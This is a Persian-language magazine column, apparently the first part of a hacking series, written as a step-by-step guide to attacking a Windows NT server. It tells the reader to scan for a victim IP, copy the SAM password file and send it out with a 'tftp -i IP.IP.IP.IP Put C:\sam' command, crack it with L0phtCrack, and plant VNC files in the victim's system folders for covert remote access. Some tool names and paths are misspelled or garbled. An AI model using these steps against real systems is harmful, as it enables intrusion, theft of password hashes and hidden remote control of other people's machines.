آناتومی حمله از نگاهی دیگر (بخش اول)

«امسال اگر خدا بخواهد مصمم شده ایم تا در این ستون یک خانه تکانی اساسی کرده و سلسه مباحث نسبتا جامعی مربوط به آرشیکت شبکه و حمله و دفاع از سیستم های رایانه ای با اولویت ویندوز و بعد لینوکس را خدمتتان ارائه کنیم . دلیل اینکه پیش ` از این دست به چنین کاری نزده بودیم در نظر گرفتن مخاطب خود و میزان اطلاعات آنها بود که خوشبختانه اکنون با ورود این ستون به سال سوم عمر خود ، می توان مباحث را پیشرفته تر را دنبال کرد.»

کد خبر: ۲۲۴۷۰

آنچه در زیر می آید خلسه های ذهنی پیرمرد هکری است که تنها 18سال سن دارد. زمانی که نمی دانم کی است بیدار شو ، صبح یا شب ؛ فرقی نمی کند. اگر احساس کردی که نمی دانی ، همان وقت تصمیم بگیر و پشت رایانه ات بنشین . عینک آفتابی فراموش نشود. سیستم خود را که ترجیحا ان تی است بالا بیاور و با آن به اینترنت وصل شو. حال ، دنبال یک آی پی قربانی بگرد که آن نیز ان تی باشد. به راحتی با برنامه های اسکنر می توانی شماره آی پی یک سایت را با دستور Ping روی داس به دست آوری . حالا آی پی را وارد اسکنر مثل languard کرده و ok کن تا بفهمی سرور طرف ان تی است . با مطمئن شدن حالا در مرحله بعد باید بدانی که فایل به نام sam روی ان تی است که کلمه عبور هر چقدر هم بزرگ و طولانی باشد روی آن ذخیره می شود. بنابراین باید فایل sam را در ابتدا بشکنی . این فایل روی آی پی و سیستم قربانی (ماشینی که بدان حمله می شود) وجود دارد. اما برای انتقال sam فایل سیستم باید بتواند با برنامه tftpکار کنید. این برنامه را براحتی می توانید از روی اینترنت با جستجوی آن در گوگل با تایپ tftp32 پیدا کنید. سپس آن را روی سیستم خود نصب کرده و 2دستور زیرا را اجرا کنید :

Copy C:\winnt\repair\sam C:\sam
tftp-i IP.IP.IP.IP Put C:\sam

حالا فایل sam سیستم قربانی روی ماشین شما می آید. در مرحله بعد باید این فایل sam را به نوعی درون شکنی کرده تا کلمه عبور کد شده را از آن بیرون بکشید. برای این کار بهترین روش دانلود و نصب برنامه ای به نام I0phat است که به راحتی با راه اندازی آن و قرار دادن فایل sam داخل آن می توانید به کلمه عبور دست یابید. اوکی ! اکنون زمان ستاپ کردن برنامه VNC است . باید یک کپی معتبر از این برنامه پیدا کنید که البته از سایت زیر می توانید آن را برداشته و روی سیستم خود نصب کنید:

http://www.uk.resarch.att.com/Vnc/download.html

(برخی از کپی های موجود خود یک سارق حرفه ای به شمار می رود). شما به 3فایل تحت نامهای زیر احتیاج دارید :

Winvnc.exe
Vnchooks.dll
omnithread-rt.dll

از کجا این فایل ها را به دست آوردید؛ خوب معلوم است از روی برنامه VNC که روی سیستم خود نصب کرده اید. اوکی ! فایل omnithread-rt.dll را درون شاخه
Winnt\system32\directory\ و 2 فایل دیگر را درون شاخه
Winnt\system32\Viewers\ قرار بدهید.